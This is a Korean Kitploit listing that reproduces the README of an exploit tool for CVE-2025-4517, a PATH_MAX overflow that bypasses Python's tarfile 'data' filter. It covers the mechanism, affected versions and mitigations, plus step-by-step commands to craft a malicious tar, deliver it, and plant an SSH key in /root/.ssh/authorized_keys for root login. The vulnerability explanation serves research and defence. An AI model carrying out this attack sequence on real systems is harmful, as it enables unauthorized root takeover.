Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-4517-tarfile-PATH_MAX-bypass — Python tarfile 데이터 필터 우회 (os.path.realpath() 내 PATH_MAX 오버플로를 통한) - CVE-2025-4517 / CVE-2025-4330 | Kitploit
도구/GitHubGitHub/0xdtc/cve-2025-4517-tarfile-path_max-bypass
Vulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationBinary Exploitation
GitHub0xdtc/cve-2025-4517-tarfile-path_max-bypass

CVE-2025-4517-tarfile-PATH_MAX-bypass

Python tarfile 데이터 필터 우회 (os.path.realpath() 내 PATH_MAX 오버플로를 통한) - CVE-2025-4517 / CVE-2025-4330

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
86개월 전아직 검토되지 않음

CVE-2025-4517 / CVE-2025-4330 — Python tarfile 데이터 필터 우회 (PATH_MAX 오버플로우를 통한)

저자: 0xDTC CVE: CVE-2025-4517 / CVE-2025-4330 권고: GHSA-6r6c-684h-9j7p CPython 수정: PR #135037

개요

Python의 tarfile.extractall(filter="data")는 경로 탐색(절대 경로, .. 시퀀스, 대상 디렉터리를 벗어나는 심볼릭 링크)을 차단하여 tar 아카이브를 안전하게 추출하도록 설계되었습니다. 그러나 os.path.realpath(strict=False)의 버그로 인해 이 필터가 완전히 우회될 수 있습니다.

확인된 경로가 PATH_MAX(리눅스에서 4096바이트)를 초과하면 os.path.realpath()는 자동으로 심볼릭 링크 확인을 중단하고 문자열 조작으로 대체됩니다. 즉, 정교하게 조작된 심볼릭 링크 체인을 통해 Python이 심볼릭 링크가 추출 디렉터리 내부에 있는 것으로 착각하게 만들고, 실제로는 /로 탈출할 수 있습니다.

영향을 받는 버전

브랜치영향을 받는 버전수정된 버전
3.12.x3.12.0 – 3.12.103.12.11
3.13.x3.13.0 – 3.13.33.13.4
3.14.x3.14.0a1 – 3.14.0a73.14.0b1

작동 방식

익스플로잇은 다음을 포함하는 tar 아카이브를 구성합니다.

  1. 16개의 디렉터리/심볼릭 링크 쌍 — 각 디렉터리는 약 240자 이름을 가지며, 짧은(1자) 심볼릭 링크가 이를 가리킵니다.
  2. 254자의 탈출 심볼릭 링크 — 짧은 체인의 끝에 배치되며, 16레벨 위로 되돌아갑니다.
  3. "escape" 심볼릭 링크 — 체인을 통과하여 PATH_MAX를 초과하며 realpath를 속입니다.
  4. 일반 파일 — escape 심볼릭 링크를 통해 추출 디렉터리 외부의 임의 위치에 기록됩니다.

핵심 통찰: a/b/c/.../p를 짧은 심볼릭 링크를 따라가면 PATH_MAX 미만으로 유지되지만, realpath는 각 링크를 약 240자의 실제 디렉터리 이름으로 확장합니다. 254자 링크 이름에 도달하면 확인된 경로가 4096바이트를 초과하고 realpath는 포기합니다. 자동으로 잘못된 결과를 반환합니다.

데이터 흐름 다이어그램

root@kitploit:~
flowchart TD
    A["Attacker crafts malicious tar"] --> B["tar contains:
    16 dir/symlink pairs
    254-char escape symlink
    'escape' symlink to /
    payload file"]

    B --> C["Target extracts with
    tarfile.extractall(filter='data')"]

    C --> D{"Python resolves symlinks
    via os.path.realpath()"}

    D --> E["Follows short symlinks a→ddd...d
    Resolved path grows with each step"]

    E --> F{"Resolved path length
    > PATH_MAX (4096)?"}

    F -->|"No (normal)"| G["realpath correctly resolves
    Symlink blocked by filter ✓"]

    F -->|"Yes (overflow!)"| H["realpath STOPS resolving
    Falls back to string manipulation"]

    H --> I["Python thinks symlink
    resolves INSIDE extraction dir"]

    I --> J["Filter PASSES the symlink ✗"]

    J --> K["OS follows symlink correctly
    'escape' resolves to /"]

    K --> L["Payload written to
    arbitrary file on disk"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

공격 순서

root@kitploit:~
sequenceDiagram
    participant A as Attacker Machine
    participant T as Target Machine

    Note over A: Phase 1 — Preparation
    A->>A: Generate SSH keypair (ssh-keygen)
    A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar

    Note over A,T: Phase 2 — Delivery
    A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
    T->>T: Place tar in location accessible<br/>to the vulnerable script

    Note over T: Phase 3 — Exploitation
    T->>T: Trigger extraction via the<br/>vulnerable Python script
    T->>T: Python calls tarfile.extractall(filter="data")

    Note over T: What Python sees vs reality
    T->>T: realpath() overflows at PATH_MAX
    T->>T: Filter thinks "escape" symlink is safe
    T->>T: OS follows "escape" → resolves to /
    T->>T: Payload written to /root/.ssh/authorized_keys

    Note over A,T: Phase 4 — Access
    A->>T: SSH as root using the written key
    T-->>A: Root shell obtained

Tar 아카이브 구조

root@kitploit:~
graph LR
    subgraph "Tar Members (extracted in order)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
    end

    S1 -.->|"short path<br/>stays small"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
    S5 -.->|"resolves to /"| F1

사용법

설정

두 스크립트 모두 상단에 다음과 같은 변수를 포함한 설정 섹션이 있습니다.

공격자 머신

옵션 A: Python

root@kitploit:~
# 1. SSH 키 쌍 생성
ssh-keygen -t ed25519 -f root_key -N ''

# 2. CVE-2025-4517.py 편집 — DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT 업데이트

# 3. 악성 tar 생성
python3 CVE-2025-4517.py

# 4. 대상으로 전송
scp backup_99.tar user@target:/path/to/backups/

옵션 B: Go

root@kitploit:~
# 1. SSH 키 쌍 생성
ssh-keygen -t ed25519 -f root_key -N ''

# 2. CVE-2025-4517.go 편집 — destDir, depthToRoot, payload, output 업데이트

# 3. 악성 tar 생성
go run CVE-2025-4517.go

# 4. 대상으로 전송
scp backup_99.tar user@target:/path/to/backups/

대상 머신

root@kitploit:~
# 취약한 Python 스크립트를 통해 추출 트리거
# 정확한 명령은 대상 스크립트가 호출되는 방식에 따라 다릅니다.
# 예시:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

사후 공격

root@kitploit:~
# 심은 키를 사용하여 root로 SSH
ssh -i root_key root@target

DEPTH_TO_ROOT 계산

/에서 추출 경로까지의 디렉터리 개수를 셉니다.

root@kitploit:~
/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3
root@kitploit:~
/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5
root@kitploit:~
/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

취약한 코드 패턴

영향을 받는 버전에서 filter="data"와 함께 tarfile.extractall()을 사용하는 모든 Python 스크립트는 잠재적으로 익스플로잇이 가능합니다.

root@kitploit:~
import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # 취약

filter="data"는 tar 경로 탐색 공격을 방지하기 위한 보안 조치로 도입되었습니다. 아이러니하게도, 취약점은 필터가 심볼릭 링크 대상을 검증하기 위해 의존하는 메커니즘(os.path.realpath) 자체에 존재합니다.

완화 방안

  • Python 업그레이드 3.12.11+, 3.13.4+, 또는 3.14.0b1+로
  • 신뢰할 수 없는 tar 아카이브 추출 방지 필터 설정과 관계없이
  • 추출 후 추가 검증 추출된 파일 경로에 대해

참고 자료

  • CVE-2025-4517 - NVD
  • CVE-2025-4330 - Wiz Vulnerability Database
  • GHSA-6r6c-684h-9j7p - GitHub Advisory
  • CPython PR #135037 - Fix

면책 조항

이 도구는 공인된 보안 테스트, 교육 목적 및 연구 용도로만 제공됩니다. 소유하고 있거나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 이 도구의 오용에 대해 책임을 지지 않습니다.

라이선스

MIT

도구 다운로드
변수설명예시
DEST_DIR대상 시스템에서 추출 디렉터리의 전체 경로/tmp/staging/extract_dir/
DEPTH_TO_ROOT/에서 DEST_DIR까지의 디렉터리 개수/opt/app/staging/dir/의 경우 4
TARGET_FILE/ 기준으로 작성할 파일root/.ssh/authorized_keys
PAYLOAD대상 파일에 쓸 내용SSH 공개 키
OUTPUT출력 tar 파일명대상의 예상 패턴과 일치해야 함